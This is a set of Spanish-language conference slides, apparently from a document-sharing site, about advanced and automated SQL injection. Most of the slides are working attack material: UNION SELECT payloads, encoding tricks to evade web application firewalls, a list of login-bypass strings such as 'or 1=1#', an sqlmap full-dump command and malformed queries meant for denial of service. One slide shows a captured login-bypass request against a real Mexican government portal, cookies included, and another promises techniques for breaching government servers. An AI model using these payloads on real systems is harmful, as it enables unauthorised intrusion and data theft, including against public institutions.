You are on page 1of 27

Inyecciones SQL Avanzadas y automatizadas.

Pentester Rafael Gmez Del ngel Director de N3XAsec

TEMAS QUE VEREMOS EN LA PONENCIA


1.- Identificacin de la vulnerabilidad 2.-Estructuracin bsica de una inyeccin 3.-Blindando las inyecciones 4.-Automatizando las inyecciones 5.-Inyectando SHELL 6.-Evadiendo Firewall Web 7.-Loggin Bypass 8.-Dumpeando la base de datos 9.-Vulnerando servidores de GOBIERNO

Que es una inyeccin SQL ?

Inyectar AQUI !!

Inyectar AQUI !!

www.victima.com/index.php?idVulnerable=34

GET

POST

Mas vulnerabilidades de inyeccin !!

XSS

RFI

LDAP

Command Injection

LFI

Estructura bsica de una inyeccin


Una inyeccin esta compuesta bsicamente 3 partes: 1.-La sintaxis en lenguaje SQL, union+all+select, 2.-Busqueda de numero de tablas 1,2,3,4,5,6,7....(NULL,NULL,NULL) 3.- El comando a ejecutar o los datos a obtener @@version
id_vulnerable=73+UNION+ALL+SELECT 1,2,3 */* id_vulnerable=73+UNION+ALL+SELECT 1,2,@@version*/* id_vulnerable=73' LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a626e653a,0x4f536a56435074746677,0x3a626c713a), NULL, NULL, NULL, NULL#

Video de inyeccin e identificacin Bsica !!

Blindando las inyecciones SQL !


Urlencode Base 64 encode
L2V0Yy9wYXNzd2Qv==
/etc/passwd/

Hexencode
2f2a2a2f6574632f7061737377642f2a2a2f
/**/**/etc/passwd/**/**/ /**/**/etc/**/**/passwd/**/**/

http://www.string-functions.com/

Host=portal2.edomex.gob.mx User-Agent=Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0 Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language=es-MX,es-ES;q=0.8,es-AR;q=0.7,es;q=0.5,enUS;q=0.3,en;q=0.2 Accept-Encoding=gzip, deflate Referer=http://portal2.edomex.gob.mx/idcprod/idcplg?IdcService=LOGIN&Action= GetTemplatePage&Page=HOME_PAGE&Auth=Internet Cookie=__utma=26329020.1898314859.1361471024.1361478811.1362458074.3; __utmz=26329020.1361478811.2.2.utmcsr=busquedas.edomex.gob.mx|utmccn=(r eferral)|utmcmd=referral|utmcct=/search/query/browse.jsp; HstCfa704590=1362458074082; HstCla704590=1362458074082; HstCmu704590=1362458074082; HstPn704590=1; HstPt704590=1; HstCnv704590=1; HstCns704590=1; BIGipServerpool_ContentManager_80=3355970058.20480.0000; BIGipServerpool_PortalWebcacheNuevo_7777=1762265610.24862.0000 Content-Length=199 POSTDATA=username=%27or1%3D1+or+%27%27%3D%27&password=%27or 1%3D1+or+%27%27%3D%27&redirecturl=%2Fidcprod%2Fidcplg%3FIdcServi ce%3DLOGIN%26Action%3DGetTemplatePage%26Page%3DHOME_PAGE%2 6Auth%3DInternet&edit=Login

POSTDATA=username=%27or1%3D1+or+%27%27%3D%27&password=%2 7or1%3D1+or+%27%27%3D%27&redirecturl=%2Fidcprod%2Fidcplg%3FId cService%3DLOGIN%26Action%3DGetTemplatePage%26Page%3DHOME_ PAGE%26Auth%3DInternet&edit=Login

LOGGIN BY PASS!!

Para pasarnos un loggin Se utiliza la sentencia OR ya que esta significa que si algo es verdadero entonces todo ser verdadero OR 1=1 . Esto provocar que automticamente toda la consulta sea verdadera, sea cual sea el usuario.
1.- V or V = VERDADERO-------------------- OR 1=1 /* 2.- V or F = VERDADERO-------------------- OR 1=0 /* 3.- F or V = VERDADERO-------------------- OR 0=1 /* 4.- F or F = FALSO----------------------------- OR 0=0 /*

LOGGIN BY PASS!!
admin - admin # admin /* or 1=1- or 1=1# or 1=0/* ) or 1=0 1=1- ) or 1=1 (1=1 - ) */ 1=0 #

WAF

Web Application Firewall

Como funciona el WAF ?

Detectando WAF

Char Encode
til para evadir deteccin de palabras El atacante sabe que existen filtros que evitara la llegada de la inyeccin al servidor, el usara una combinacin de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos.

Char-doble encode
Cifra en Hexadecimal, til cuando la aplicacin emplea Url encode

Char-Unicode Encode
Cifrando con el estndar Unicode

Automatizacin de inyeccin HAVIJ SQLMAP

Video automatizacin de inyeccin y Tampers

Dumpleando la BD

./sqlmap.py -u www.xxx.sp.php?id=666 --dump -all


VIDEO

Ataques DOS por inyeccin SQL

Este ataque se genera cuando mandamos una consulta MAL formada, de tal manera que cuando el servidor la interprete cause un conflicto interno o Se confunda

Id?=66+Union,concat(0x3,slep(10000000),0x3) */#-')OR'#1='2--

#Select+from,-'(#')-- OR +FROM--

Penetracin a sistemas de gobierno


Es el sector mas atacado por hacktivistas

You might also like